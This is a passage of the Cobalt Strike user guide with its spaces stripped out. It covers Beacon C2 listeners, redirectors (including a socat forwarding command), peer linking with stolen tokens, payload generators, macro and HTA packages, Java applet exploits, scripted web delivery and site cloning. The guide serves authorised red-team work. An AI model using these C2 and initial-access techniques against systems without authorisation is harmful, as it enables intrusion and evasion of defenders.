ListenerandInfrastructureManagement/HTTPBeaconandHTTPSBeacon Manual HTTP Proxy Configuration The(Manual) Proxy Settingsdialogoffersseveraloptionstocontroltheproxyconfiguration forBeaconsHTTPandHTTPSrequests.ThedefaultbehaviorofBeaconistousetheInternet Explorerproxyconfigurationforthecurrentprocess/usercontext. figure28-ManualProxySettings TheTypefieldconfiguresthetypeofproxy.TheHostandPortfieldstellBeaconwherethe proxylives.TheUsernameandPasswordfieldsareoptional.Thesefieldsspecifythe credentialsBeaconusestoauthenticatetotheproxy. ChecktheIgnore proxy settings; use direct connectionboxtoforceBeacontoattemptits HTTPandHTTPSrequestswithoutgoingthroughaproxy. PressSet toupdatetheBeacondialogwiththedesiredproxysettings.PressReset tosetthe proxyconfigurationbacktothedefaultbehavior. NOTE: ThemanualproxyconfigurationaffectstheHTTPandHTTPSBeaconpayloadstagesonly. Itdoesnotpropagatetothepayloadstagers. Redirectors Aredirectorisasystemthatsitsbetweenyourtargetsnetworkandyourteamserver.Any connectionsthatcometotheredirectorareforwardedtoyourteamservertoprocess.A redirectorisawaytoprovidemultiplehostsforyourBeaconpayloadstocallhometo.A CobaltStrikeUserGuide www.fortra.com page:55

ListenerandInfrastructureManagement/SMBBeacon redirectoralsoaidsoperationalsecurityasitmakesithardertotracethetruelocationofyour teamserver. CobaltStrikeslistenermanagementfeaturessupporttheuseofredirectors.Simplyspecify yourredirectorhostswhenyousetupanHTTPorHTTPSBeaconlistener.CobaltStrikedoes notvalidatethisinformation.Ifthehostyouprovideisnotaffiliatedwiththecurrenthost,Cobalt Strikeassumesitsaredirector.Onesimplewaytoturnaserverintoaredirectoristousesocat. Heresthesocatsyntaxtoforwardallconnectionsonport80totheteamserverat 192.168.12.100onport80: socat TCP4-LISTEN:80,fork TCP4:192.168.12.100:80 SMB Beacon TheSMBBeaconusesnamedpipestocommunicatethroughaparentBeacon.Thispeer-to- peercommunicationworkswithBeaconsonthesamehost.Italsoworksacrossthenetwork. WindowsencapsulatesnamedpipecommunicationwithintheSMBprotocol.Hence,thename, SMBBeacon. SMB Listener Setup TocreateaSMBBeaconlistenerselectCobalt Strike -> Listenersonthemainmenuandpress theAddbuttonatthebottomoftheListenerstabdisplay. TheSMBBeaconiscompatiblewithmostactionsinCobaltStrikethatspawnapayload.The exceptiontothisaretheuser-drivenattacksthatrequireexplicitstagers. CobaltStrikepost-exploitationandlateralmovementactionsthatspawnapayloadwillattempt toassumecontrolof(link)totheSMBBeaconpayloadforyou.IfyouruntheSMBBeacon manually,youwillneedtolinktoitfromaparentBeacon. TheNewListenerpaneldisplays. CobaltStrikeUserGuide www.fortra.com page:56

ListenerandInfrastructureManagement/SMBBeacon figure29-SMBBeacon SelectBeacon SMBasthePayloadtypeandgivethelisteneraName.Makesuretogivethe newlisteneramemorablenameasthisnameishowyouwillrefertothislistenerthrough CobaltStrikescommandsandworkflows. Parameters Pipename (C2)-Setanexplicitpipenameoracceptthedefaultoption. Guardrails -BeaconGuardrailsallowstheusertocreateawaytorestrictthetargets thatthebeaconcanexecuteon.Onceconfigured,thesevalueswillbethedefault guardrailfortheStagelessorWindowsStagelessPayloadGenerators. Pressthe...buttontoopentheGuardrailsSettings: CobaltStrikeUserGuide www.fortra.com page:57

ListenerandInfrastructureManagement/SMBBeacon figure30-GuardrailSettings IP Address:EnteraspecificIPAddressorgenericwildcardoftherightmost segments.Forexample: l 123.123.123.123 l 123.123.123.* l 123.123.. l 123...* User Name:Enteraspecificname,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive. Server Name:Enteraspecificcomputername,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive Domain:Enteraspecificdomain,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive CobaltStrikeUserGuide www.fortra.com page:58

ListenerandInfrastructureManagement/TCPBeacon Linking and Unlinking FromtheBeaconconsole,uselink [host] [pipe] tolinkthecurrentBeacontoanSMBBeacon thatiswaitingforaconnection.WhenthecurrentBeaconchecksin,itslinkedpeerswillcheckin too. Toblendinwithnormaltraffic,linkedBeaconsuseWindowsnamedpipestocommunicate. ThistrafficisencapsulatedintheSMBprotocol.Thereareafewcaveatstothisapproach:

  1. HostswithanSMBBeaconmustacceptconnectionsonport445.
  2. YoumayonlylinkBeaconsmanagedbythesameCobaltStrikeinstance. Ifyougetanerror5(accessdenied)afteryoutrytolinktoaBeacon:stealadomainuserstoken orusemake_token DOMAIN\user password topopulateyourcurrenttokenwithvalid credentialsforthetarget.TrytolinktotheBeaconagain. TodestroyaBeaconlinkuseunlink [ip address] [session PID] intheparentorchild.The [sessionPID]argumentistheprocessIDoftheBeacontounlink.Thisvalueishowyouspecifya specificBeacontode-linkwhentherearemultiplechildrenBeacons. Whenyoude-linkanSMBBeacon,itdoesnotexitandgoaway.Instead,itgoesintoastate whereitwaitsforaconnectionfromanotherBeacon.Youmayusethelinkcommandto resumecontroloftheSMBBeaconfromanotherBeaconinthefuture. TCP Beacon TheTCPBeaconusesaTCPsockettocommunicatethroughaparentBeacon.Thispeer-to- peercommunicationworkswithBeaconsonthesamehostandacrossthenetwork. TCP Listener Setup TocreateaTCPBeaconlistenerselectCobalt Strike -> Listenersonthemainmenuandpress theAddbuttonatthebottomoftheListenerstabdisplay. TheNewListenerpaneldisplays. CobaltStrikeUserGuide www.fortra.com page:59

ListenerandInfrastructureManagement/TCPBeacon figure31-TCPBeacon SelectBeacon TCPasthePayloadtypeandgivethelisteneraName.Makesuretogivethe newlisteneramemorablenameasthisnameishowyouwillrefertothislistenerthrough CobaltStrikescommandsandworkflows. TheTCPBeaconconfiguredinthiswayisabindpayload.Abindpayloadisonethatwaitsfora connectionfromitscontroller(inthiscase,anotherBeaconsession). Parameters Port (C2)-ThisoptioncontrolstheporttheTCPBeaconwillwaitforconnectionson. Bind to localhost only-ChecktohavetheTCPBeaconbindto127.0.0.1whenit listensforaconnection.ThisisagoodoptionifyouusetheTCPBeaconfor localhost-onlyactions. Guardrails -BeaconGuardrailsallowstheusertocreateawaytorestrictthetargets thatthebeaconcanexecuteon.Onceconfigured,thesevalueswillbethedefault guardrailfortheStagelessorWindowsStagelessPayloadGenerators. Pressthe...buttontoopentheGuardrailsSettings: CobaltStrikeUserGuide www.fortra.com page:60

ListenerandInfrastructureManagement/TCPBeacon figure32-GuardrailSettings IP Address:EnteraspecificIPAddressorgenericwildcardoftherightmost segments.Forexample: l 123.123.123.123 l 123.123.123.* l 123.123.. l 123...* User Name:Enteraspecificname,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive. Server Name:Enteraspecificcomputername,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive Domain:Enteraspecificdomain,oravaluethat: l “startswith”supportedby“”wildcardcharacterontherightside l “endswith”supportedby“”wildcardcharacterontheleftside Theguardiscase-insensitive CobaltStrikeUserGuide www.fortra.com page:61

ListenerandInfrastructureManagement/ExternalC2 TheTCPBeaconiscompatiblewithmostactionsinCobaltStrikethatspawnapayload.The exceptiontothisare,similartotheSMBBeacon,theuser-drivenattacksthatrequireexplicit stagers. CobaltStrikepost-exploitationandlateralmovementactionsthatspawnapayloadwillattempt toassumecontrolof(connect)totheTCPBeaconpayloadforyou.IfyouruntheTCPBeacon manually,youwillneedtoconnecttoitfromaparentBeacon. Connecting and Unlinking FromtheBeaconconsole,useconnect [ip address] [port] toconnectthecurrentsessiontoa TCPBeaconthatiswaitingforaconnection.Whenthecurrentsessionchecksin,itslinked peerswillcheckintoo. TodestroyaBeaconlinkuseunlink [ip address] [session PID] intheparentorchildsession console.Later,youmayreconnecttotheTCPBeaconfromthesamehost(oradifferenthost). External C2 ExternalC2isaspecificationtoallowthird-partyprogramstoactasacommunicationlayerfor CobaltStrikesBeaconpayload.Thesethird-partyprogramsconnecttoCobaltStriketoread framesdestinedfor,andwriteframeswithoutputfrompayloadscontrolledinthisway.The ExternalC2serveriswhatthesethird-partyprogramsusetointerfacewithyourCobaltStrike teamserver. External C2 Listener Setup TocreateanExternalC2BeaconlistenerselectCobalt Strike -> Listenersonthemainmenu andpresstheAddbuttonatthebottomoftheListenerstabdisplay. TheNewListenerpaneldisplays. GotoCobalt Strike ->Listeners,pressAdd,andchooseExternalC2asyourpayload. CobaltStrikeUserGuide www.fortra.com page:62

ListenerandInfrastructureManagement/ExternalC2 figure33-ExternalC2 SelectExternal C2asthePayloadtypeandgivethelisteneraName.Makesuretogivethenew listeneramemorablenameasthisnameishowyouwillrefertothislistenerthroughCobalt Strikescommandsandworkflows. Parameters Port (Bind)-SpecifytheporttheExternalC2serverwaitsforconnectionson. Bind to localhost only-ChecktomaketheExternalC2serverlocalhost-only. NOTE: ExternalC2listenersarenotlikeotherCobaltStrikelisteners.Youcannottargetthesewith CobaltStrikespost-exploitationactions.Thisoptionisjustaconvienencetostandupthe interfaceitself. Specification TheExternalC2interfaceisdescribedintheExternalC2specification. CobaltStrikeUserGuide www.fortra.com page:63

ListenerandInfrastructureManagement/ForeignListeners l ExternalC2Specification l extc2example.c Ifyou'dliketoadapttheexample(AppendixB)inthespecificationintoathird-partyC2,youmay assumea3-clauseBSDlicenseforthecodecontainedwithinthespecification. Third-party Materials Here'salistofthird-partyprojectsandpoststhatreference,use,orbuildonExternalC2: l Custom CommandandControl(C3)byF-SecureLabs.Aframeworkforrapid prototypingofcustom C2channels. l external_c2_frameworkbyJonathanEchavarria.APythonFrameworkforbuilding ExternalC2clientsandservers. l ExternalC2LibrarybyRyanHanson.NETlibrarywithWebAPI,WebSockets,andadirect socket.Includesunittestsandcomments. l TaskingOffice365forCobaltStrikeC2byMWR Labs.DiscussionanddemoofOffice 365C2forCobaltStrike. l SharedFileC2byOutflankBV.POCtouseafile/shareforcommandandcontrol. Foreign Listeners CobaltStrikesupportstheconceptofforeignlisteners.Thesearealiasesforx86 payload handlers hostedintheMetasploitFrameworkorotherinstancesofCobaltStrike.Topassa WindowsHTTPSMeterpretersessiontoafriendwithmsfconsole,setupaForeignHTTPS payloadandpointtheHostandPortvaluestotheirhandler.Youmayuseforeignlisteners anywhereyouwoulduseanx86CobaltStrikelistener. Foreign Listeners Setup TocreateaForeignBeaconlistenerselectCobalt Strike -> Listenersonthemainmenuand presstheAddbuttonatthebottomoftheListenerstabdisplay. TheNewListenerpaneldisplays. CobaltStrikeUserGuide www.fortra.com page:64

ListenerandInfrastructureManagement/InfrastructureConsolidation figure34-ForeignHTTP SelectForeign HTTPorForeign HTTPSasthePayloadtypeandgivethelisteneraName. Makesuretogivethenewlisteneramemorablenameasthisnameishowyouwillrefertothis listenerthroughCobaltStrikescommandsandworkflows. Parameters HTTP(S) Host (Stager)-Thisfieldspecifiesthenameoftheserverwhereyourforeign listenerislocated. HTTP(S) Port (Stager)-Thisfieldspecifiestheportontheserverwhereyourforeign listenerislisteningforconnections. Infrastructure Consolidation CobaltStrikesmodelfordistributedoperationsistostandupaseparateteamserverforeach phaseofyourengagement.Forexample,itmakessensetoseparateyourpost-exploitationand persistenceinfrastructure.Ifapost-exploitationactionisdiscovered,youdontwantthe remediationofthatinfrastructuretoclearoutthecallbacksthatwillletyoubackintothe network. CobaltStrikeUserGuide www.fortra.com page:65

ListenerandInfrastructureManagement/InfrastructureConsolidation Someengagementphasesrequiremultipleredirectorandcommunicationchanneloptions. CobaltStrike4.0isfriendlytothis. figure35-InfrastructureConsolidationFeatures YoucanbindmultipleHTTP,HTTPS,andDNSlistenerstoasingleCobaltStriketeamserver. Thesepayloadsalsosupportportbendingintheirconfiguration.Thisallowsyoutousethe commonportforyourchannel(80,443,or53)inyourredirectorandC2setups,butbindthese listenerstodifferentportstoavoidportconflictsonyourteamserversystem. Togivevarietytoyournetworkindicators,CobaltStrikesMalleableC2profilesmaycontain multiplevariants.Avariantisawayofaddingvariationsofthecurrentprofileintooneprofilefile. YoumayspecifyaProfilevariantwhenyoudefineeachHTTPorHTTPSBeaconlistener. Further,youcandefinemultipleTCPandSMBBeaconsononeteamserver,eachwithdifferent pipeandportconfigurations.AnyegressBeacon,fromthesameteamserver,cancontrolanyof theseTCPorSMBBeaconpayloadsoncetheyredeployedinthetargetenvironment. CobaltStrikeUserGuide www.fortra.com page:66

InitialAccess/Client-sideSystemProfiler Initial Access CobaltStrikehasseveraloptionsthataidinestablishinganinitialfootholdonatarget.This rangesfromprofilingpotentialtargetstopayloadcreationtopayloaddelivery. Client-side System Profiler Thesystemprofilerisareconnaissancetoolforclient-sideattacks.Thistoolstartsalocalweb- serverandfingerprintsanyonewhovisitsit.Thesystemprofilerprovidesalistofapplications andpluginsitdiscoversthroughtheusersbrowser.Thesystemprofileralsoattemptsto discovertheinternalIPaddressofuserswhoarebehindaproxyserver. Tostartthesystemprofiler,gotoAttacks -> System Profiler.Tostarttheprofileryoumust specifyaURItobindtoandaporttostarttheCobaltStrikeweb-serverfrom. IfyouspecifyaRedirectURL,CobaltStrikewillredirectvisitorstothisURLoncetheirprofileis taken.ClickLaunch tostartthesystemprofiler. TheSystemProfilerusesanunsignedJavaApplettodecloakthetargetsinternalIPaddress anddeterminewhichversionofJavathetargethas.WithJavasclick-to-runsecurityfeature— thiscouldraisesuspicion.UnchecktheUse Java Applettogetinformationboxtoremovethe JavaAppletfromtheSystemProfiler. ChecktheEnable SSLboxtoservetheSystemProfileroverSSL.Thisboxisdisabledunless youspecifyavalidSSLcertificatewithMalleableC2.Chapter11discussesthis. Application Browser Toviewtheresultsfromthesystemprofiler,gotoView->Applications.Thisopensan ApplicationstabwithatableshowingallapplicationinformationcapturedbytheSystem Profiler. Analyst Tips TheApplicationBrowserhasalotofinformationusefultoplanatargetedattack.Here'showto getthemostoutofthisoutput: TheinternalIPaddressfieldisgatheredfromabenignunsignedJavaapplet.Ifthisfieldsays unknown,thismeanstheJavaappletprobablydidnotrun.IfyouseeanIPaddresshere,this meanstheunsignedJavaappletran. CobaltStrikeUserGuide www.fortra.com page:67

InitialAccess/CobaltStrikeWebServices InternetExplorerwillreportthebaseversiontheuserinstalled.AsInternetExplorergets updates--thereportedversioninformationdoesnotchange.CobaltStrikeusestheJScript.dll versiontoestimateInternetExplorer'spatchlevel.Gotosupport.microsoft.comandsearchfor JScript.dll'sbuildnumber(thethirdnumberintheversionstring)tomapittoanInternet Explorerupdate. A*64nexttoanapplicationmeansit'sanx64application. Cobalt Strike Web Services ManyCobaltStrikefeaturesrunfromtheirownwebserver.Theseservicesincludethesystem profiler,HTTPBeacon,andCobaltStrikeswebdrive-byattacks.ItsOKtohostmultipleCobalt Strikefeaturesononewebserver. TomanageCobaltStrikeswebservices,gotoView ->Web Drive-by ->Manage.Here,youmay copyanyCobaltStrikeURLtotheclipboardorstopaCobaltStrikewebservice. UseView ->Web Log tomonitorvisitstoyourCobaltStrikewebservices. IfCobaltStrikeswebserverseesarequestfromtheLynx,Wget,orCurlbrowser;CobaltStrike willautomaticallyreturna404page.CobaltStrikedoesthisaslightprotectionagainstblue teamsnooping.ThecanbeconfiguredwiththeMalleableC2.http-config.block_useragents option. User-driven Attack Packages Thebestattacksarenotexploits.Rather,thebestattackstakeadvantageofnormalfeaturesto getcodeexecution.CobaltStrikemakesiteasytosetupseveraluser-drivenattacks.These attackstakeadvantageoflistenersyouvealreadysetup.NavigateinthemenutoPayloadsand chooseoneofthefollowingoptions. HTML Application AnHTMLApplicationisaWindowsprogramwrittenInHTMLandanInternetExplorer supportedscriptinglanguage.ThispackagegeneratesanHTMLApplicationthatrunsaCobalt Strikelistener. NavigatetoPayloads -> HTML Application. CobaltStrikeUserGuide www.fortra.com page:68

InitialAccess/User-drivenAttackPackages figure36-HTML ApplicationAttack Parameters Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. Method-Usethedrop-downtoselectoneofthefollowingmethodstoruntheselected listener: Executable:Thismethodwritesanexecutabletodiskandrunit. PowerShell:ThismethodusesaPowerShellone-linertorunyourpayloadstager. VBA:ThismethodusesaMicrosoftOfficemacrotoinjectyourpayloadinto memory.TheVBAmethodrequiresMicrosoftOfficeonthetargetsystem. PressGeneratetocreatetheHTMLApplication. MS Office Macro TheMicrosoftOfficeMacrotoolgeneratesamacrotoembedintoaMicrosoftWordor MicrosoftExceldocument. NavigatetoPayloads -> MS Office Macro. CobaltStrikeUserGuide www.fortra.com page:69

InitialAccess/User-drivenAttackPackages figure37-MSOfficeMacro ChoosealistenerandpressGeneratetocreatethestep-by-stepinstructionstoembedyour macrointoaMicrosoftWordorExceldocument. Thisattackworkswellwhenyoucanconvinceausertorunmacroswhentheyopenyour document. Payload Generator CobaltStrike'sPayloadGeneratoroutputssourcecodeandartifactstostageaCobaltStrike listenerontoahost.ThinkofthisastheCobaltStrikeversionofmsfvenom. NavigatetoPayloads -> Stager Payload Generator. CobaltStrikeUserGuide www.fortra.com page:70

InitialAccess/User-drivenAttackPackages figure38-PayloadGenerator Parameters Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. Output-Usethedrop-downtoselectoneofthefollowingoutputtypes(mostoptions giveyoushellcodeformattedasabytearrayforthatlanguage): C:Shellcodeformattedasabytearray. C#:Shellcodeformattedasabytearray. COM Scriptlet:A.sctfiletorunalistener Java:Shellcodeformattedasabytearray. Perl:Shellcodeformattedasabytearray. PowerShell:PowerShellscripttorunshellcode PowerShell Command:PowerShellone-linertorunaBeaconstager. Python:Shellcodeformattedasabytearray. Raw:blobofpositionindependentshellcode. Ruby:Shellcodeformattedasabytearray. Veil:CustomshellcodesuitableforusewiththeVeilEvasionFramework. VBA:Shellcodeformattedasabytearray. x64-Checktheboxtogenerateanx64stagerfortheselectedlistener. PressGeneratetocreateaPayloadfortheselectedoutputtype. Payload Generator (stageless) CobaltStrike'sPayloadGeneratoroutputssourcecodeandartifacts,withoutastager,toa CobaltStrikelistenerontoahost. NavigatetoPayloads -> Stageless Payload Generator. CobaltStrikeUserGuide www.fortra.com page:71

InitialAccess/User-drivenAttackPackages figure39-StagelessPayloadGenerator Parameters Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. Guardrails-Ifyourlistenerhasbeenconfiguredwithgauardrails,thevalueisdisplayed asthedefault.Usethe...buttontooverridethesettingsforthebeacon. CobaltStrikeUserGuide www.fortra.com page:72

InitialAccess/User-drivenAttackPackages figure40-GuardrailSettings Output-Usethedrop-downtoselectoneofthefollowingoutputtypes(mostoptions giveyoushellcodeformattedasabytearrayforthatlanguage): C:Shellcodeformattedasabytearray. C#:Shellcodeformattedasabytearray. Java:Shellcodeformattedasabytearray. Perl:Shellcodeformattedasabytearray. Python:Shellcodeformattedasabytearray. Raw:blobofpositionindependentshellcode. Ruby:Shellcodeformattedasabytearray. VBA:Shellcodeformattedasabytearray. Exit Function-Thisfunctiondeterminesthemethod/behaviorthatBeaconuseswhen theexitcommandisexecuted. Process:Terminatesthewholeprocess. Thread:Terminatesonlythecurrentthread. System Call-Selectoneofthefollowingsystemcallmethodstouseatexecutiontime whengeneratingastagelessbeaconpayloadfromtheCobaltStrikeUIora supportedaggressorfunction: None:UsethestandardWindowsAPIfunction. CobaltStrikeUserGuide www.fortra.com page:73

InitialAccess/User-drivenAttackPackages Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthe function. HTTP Library--SelecttheMicrosoftlibrary(WinINetorWinHTTP)forthegenerated payload. x64-Checktheboxtogenerateanx64stagerfortheselectedlistener. PressGeneratetocreateaPayloadfortheselectedoutputtype. Windows Executable ThispackagegeneratesaWindowsexecutableartifactthatdeliversapayloadstager. NavigatetoPayloads -> Windows Stager Payload. figure41-WindowExecutable Thispackageprovidesthefollowingoutputoptions: Parameters CobaltStrikeUserGuide www.fortra.com page:74

InitialAccess/User-drivenAttackPackages Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. Output-Usethedrop-downtoselectoneofthefollowingoutputtypes. Windows EXE:AWindowsexecutable. Windows Service EXE:AWindowsexecutablethatrespondstoServiceControl Managercommands.YoumayusethisexecutabletocreateaWindows servicewithscorasacustomexecutablewiththeMetasploitFrameworks PsExecmodules. Windows DLL:AWindowsDLLthatexportsaStartWfunctionthatiscompatible withrundll32.exe.Userundll32.exetoloadyourDLLfromthecommandline. rundll32 foo.dll,StartW x64-Checktheboxtogeneratex64artifactsthatpairwithanx64stager.Bydefault, thisdialogexportsx64payloadstagers. sign-ChecktheboxtosignanEXEorDLLartifactwithacode-signingcertificate.You mustspecifyacertificateinaMalleableC2profile. PressGeneratetocreateapayloadstagerartifact. CobaltStrikeusesitsArtifactKittogeneratethisoutput. Windows Executable (Stageless) ThispackageexportsBeacon,withoutastager,asanexecutable,serviceexecutable,32-bitDLL, or64-bitDLL.Apayloadartifactthatdoesnotuseastageriscalledastagelessartifact.This packagealsohasaPowerShelloptiontoexportBeaconasaPowerShellscriptandarawoption toexportBeaconasablobofpositionindependentcode. NavigatetoPayloads -> Windows Stageless Payload. CobaltStrikeUserGuide www.fortra.com page:75

InitialAccess/User-drivenAttackPackages figure42-WindowsStagelessExecutable Thispackageprovidesthefollowingoutputoptions: Parameters Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. Guardrails-Ifyourlistenerhasbeenconfiguredwithgauardrails,thevalueisdisplayed asthedefault.Usethe...buttontooverridethesettingsforthebeacon. CobaltStrikeUserGuide www.fortra.com page:76

InitialAccess/User-drivenAttackPackages figure43-GuardrailSettings Output-Usethedrop-downtoselectoneofthefollowingoutputtypes. PowerShell:APowerShellscriptthatinjectsastagelessBeaconintomemory. Raw:AblobofpositionindependentcodethatcontainsBeacon. Windows EXE:AWindowsexecutable. Windows Service EXE:AWindowsexecutablethatrespondstoServiceControl Managercommands.YoumayusethisexecutabletocreateaWindows servicewithscorasacustomexecutablewiththeMetasploitFramework's PsExecmodules. Windows DLL:AWindowsDLLthatexportsaStartWfunctionthatiscompatible withrundll32.exe.Userundll32.exetoloadyourDLLfromthecommandline. rundll32 foo.dll,StartW Exit Function-Thisfunctiondeterminesthemethod/behaviorthatBeaconuseswhen theexitcommandisexecuted. Process:Terminatesthewholeprocess. Thread:Terminatesonlythecurrentthread. System Call-Selectoneofthefollowingsystemcallmethodstouseatexecutiontime whengeneratingastagelessbeaconpayloadfromtheCobaltStrikeUIora supportedaggressorfunction: None:UsethestandardWindowsAPIfunction. CobaltStrikeUserGuide www.fortra.com page:77

InitialAccess/User-drivenAttackPackages Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthe function. HTTP Library--SelecttheMicrosoftlibrary(WinINetorWinHTTP)forthegenerated payload. x64-Checktheboxtogenerateanx64artifactthatcontainsanx64payload.By default,thisdialogexportsx64payloads. sign-ChecktheboxtosignanEXEorDLLartifactwithacode-signingcertificate.You mustspecifyacertificateinaMalleableC2profile. PressGeneratetocreateastagelessartifact. CobaltStrikeusesitsArtifactKittogeneratethisoutput. Windows Executable (Stageless)Variants Thisoptiongeneratesallofthestagelesspayloads(inx86andx64)foralloftheconfigured listeners. NavigatetoPayloads -> Windows Stageless Generate All Payloads. figure44-WindowsStagelessExecutableVariants Parameters CobaltStrikeUserGuide www.fortra.com page:78

InitialAccess/HostingFiles Folder-Pressthefolderbuttontoselectalocationtosavethelistener(s). System Call-Selectoneofthefollowingsystemcallmethodstouseatexecutiontime whengeneratingastagelessbeaconpayloadfromtheCobaltStrikeUIora supportedaggressorfunction: None:UsethestandardWindowsAPIfunction. Direct:UsetheNtversionofthefunction. Indirect:JumptotheappropriateinstructionwithintheNtversionofthe function. HTTP Library--SelecttheMicrosoftlibrary(WinINetorWinHTTP)forthegenerated payload. Sign-ChecktheboxtosignanEXEorDLLartifactwithacode-signingcertificate.You mustspecifyacertificateinaMalleableC2profile. PressGeneratetocreateastagelessartifact. Hosting Files CobaltStrikeswebservercanhostyouruser-drivenpackagesforyou.Fromthemenu,select Site Management -> Host Fileandperformthefollowingtosetup:

  1. Choosethefiletohost
  2. SelectanarbitraryURL
  3. Choosethemimetypeforthefile. Byitself,thecapabilitytohostafileisntveryimpressive.However,insectionsthatfollow,you willlearnhowtoembedCobaltStrikeURLsintoaspearphishingemail.Whenyoudothis, CobaltStrikecancross-referencevisitorstoyourfilewithsentemailsandincludethis informationinthesocialengineeringreport. CheckEnable SSLtoservethiscontentoverSSL.Thisoptionisavailablewhenyouspecifya validSSLcertificateinyourMalleableC2profile. User-driven Web Drive-by Attacks CobaltStrikeUserGuide www.fortra.com page:79

InitialAccess/User-drivenWebDrive-byAttacks CobaltStrikemakesseveraltoolstosetupwebdrive-byattacksavailabletoyou.Toquicklystart anattack,navigatetoAttacksandchooseoneofthefollowingoption: Java Signed Applet Attack Thisattackstartsawebserverhostingaself-signedJavaapplet.Visitorsareaskedtogivethe appletpermissiontorun.Whenavisitorgrantsthispermission,yougainaccesstotheirsystem. TheJavaSignedAppletAttackusesCobaltStrikesJavainjector.OnWindows,theJavainjector willinjectshellcodeforaWindowslistenerdirectlyintomemoryforyou. NavigatetoAttacks -> Signed Applet Attack. figure45-SignedAppletAttack Parameters Local URL/Host/Path-SettheLocalURLPath,HostandPorttoconfigurethe webserver. Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. SSL-ChecktoservethiscontentoverSSL.Thisoptionisavailablewhenyouspecifya validSSLcertificateinyourMalleableC2profile. PressLaunchtostarttheattack. CobaltStrikeUserGuide www.fortra.com page:80

InitialAccess/User-drivenWebDrive-byAttacks Java Smart Applet Attack CobaltStrikesSmartAppletAttackcombinesseveralexploitstodisabletheJavasecurity sandboxintoonepackage.ThisattackstartsawebserverhostingaJavaapplet.Initially,this appletrunsinJavassecuritysandboxanditdoesnotrequireuserapprovaltostart. TheappletanalyzesitsenvironmentanddecideswhichJavaexploittouse.IftheJavaversion isvulnerable,theappletwilldisablethesecuritysandbox,andexecuteapayloadusingCobalt StrikesJavainjector. NavigatetoAttacks -> Smart Applet Attack. figure46-SmartAppletAttack Parameters Local URL/Host/Path-SettheLocalURLPath,HostandPorttoconfigurethe webserver. Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. SSL-ChecktoservethiscontentoverSSL.Thisoptionisavailablewhenyouspecifya validSSLcertificateinyourMalleableC2profile. PressLaunchtostarttheattack. Scripted Web Delivery (S) CobaltStrikeUserGuide www.fortra.com page:81

InitialAccess/User-drivenWebDrive-byAttacks ThisfeaturegeneratesastagelessBeaconpayloadartifact,hostsitonCobaltStrikesweb server,andpresentsaone-linertodownloadandruntheartifact. NavigatetoAttacks -> Scripted Web Delivery (S)fromthemenu. figure47-ScrptedWebDelivery(S) Parameters Local URL/Host/Path-SettheLocalURLPath,HostandPorttoconfigurethe webserver.MakesuretheHostfieldmatchestheCNfieldofyourSSLcertificate. Thiswillavoidasituationwherethisfeaturefailsbecauseofamismatch betweenthesefields. Listener-Pressthe...buttontoselectaCobaltStrikelisteneryouwouldliketooutput apayloadfor. Type-Usethedrop-downmenutoselectoneofthefollowingtypes: bitsadmin :Thisoptionhostsanexecutableandusesbitsadmintodownloadit. Thebitsadminmethodrunstheexecutableviacmd.exe. exe :ThisoptiongeneratesanexecutableandhostsitonCobaltStrikesweb server. CobaltStrikeUserGuide www.fortra.com page:82

InitialAccess/Client-sideExploits powershell ThisoptionhostsaPowerShellscriptandusespowershell.exeto downloadthescriptandevaluateit. powershell IEX :ThisoptionhostsaPowerShellscriptandusespowershell.exe todownloadthescriptandevaluateit.Similartopriorpowershell option,but itprovidesashorterInvoke-Executionone-linercommand. python : ThisoptionhostsaPythonscriptandusespython.exetodownloadthe scriptandrunit.EachoftheseoptionsisadifferentwaytorunaCobaltStrike listener. x64-Checktheboxtogenerateanx64stagerfortheselectedlistener. SSL-ChecktoservethiscontentoverSSL.Thisoptionisavailablewhenyouspecifya validSSLcertificateinyourMalleableC2profile. PressLaunchtostarttheattack. Client-side Exploits YoumayuseaMetasploitFrameworkexploittodeliveraCobaltStrikeBeacon.CobaltStrikes BeaconiscompatiblewiththeMetasploitFrameworksstagingprotocol.TodeliveraBeacon withaMetasploitFrameworkexploit: l Usewindows/meterpreter/reverse_http[s]asyourPAYLOADandsetLHOSTandLPORT topointtoyourCobaltStrikelistener.YourenotreallydeliveringMeterpreterhere,youre tellingtheMetasploitFrameworktogeneratetheHTTP[s]stagerthatdownloadsa payloadfrom thespecifiedLHOST/LPORT. l SetDisablePayloadHandlertoTrue.ThiswilltelltheMetasploitFrameworktoavoid standingupahandlerwithintheMetasploitFrameworktoserviceyourpayload connection. l SetPrependMigratetoTrue.ThisoptiontellstheMetasploitFrameworktoprepend shellcodethatrunsthepayloadstagerinanotherprocess.ThishelpsyourBeacon sessionsurvivesiftheexploitedapplicationcrashesorifitsclosedbyauser. HeresascreenshotofmsfconsoleusedtostandupaFlashExploittodeliverCobaltStrikes HTTPBeaconhostedat192.168.1.5onport80: CobaltStrikeUserGuide www.fortra.com page:83

InitialAccess/CloneaSite figure48-UsingClient-sideAttacksfromMetasploit Clone a Site Beforesendinganexploittoatarget,ithelpstodressitup.CobaltStrikeswebsiteclonetoolcan helpwiththis.Thewebsiteclonetoolmakesalocalcopyofawebsitewithsomecodeaddedto fixlinksandimagessotheyworkasexpected. Tocloneawebsite,gotoSite Management -> Clone Site. figure49-WebsiteCloneTool CobaltStrikeUserGuide www.fortra.com page:84

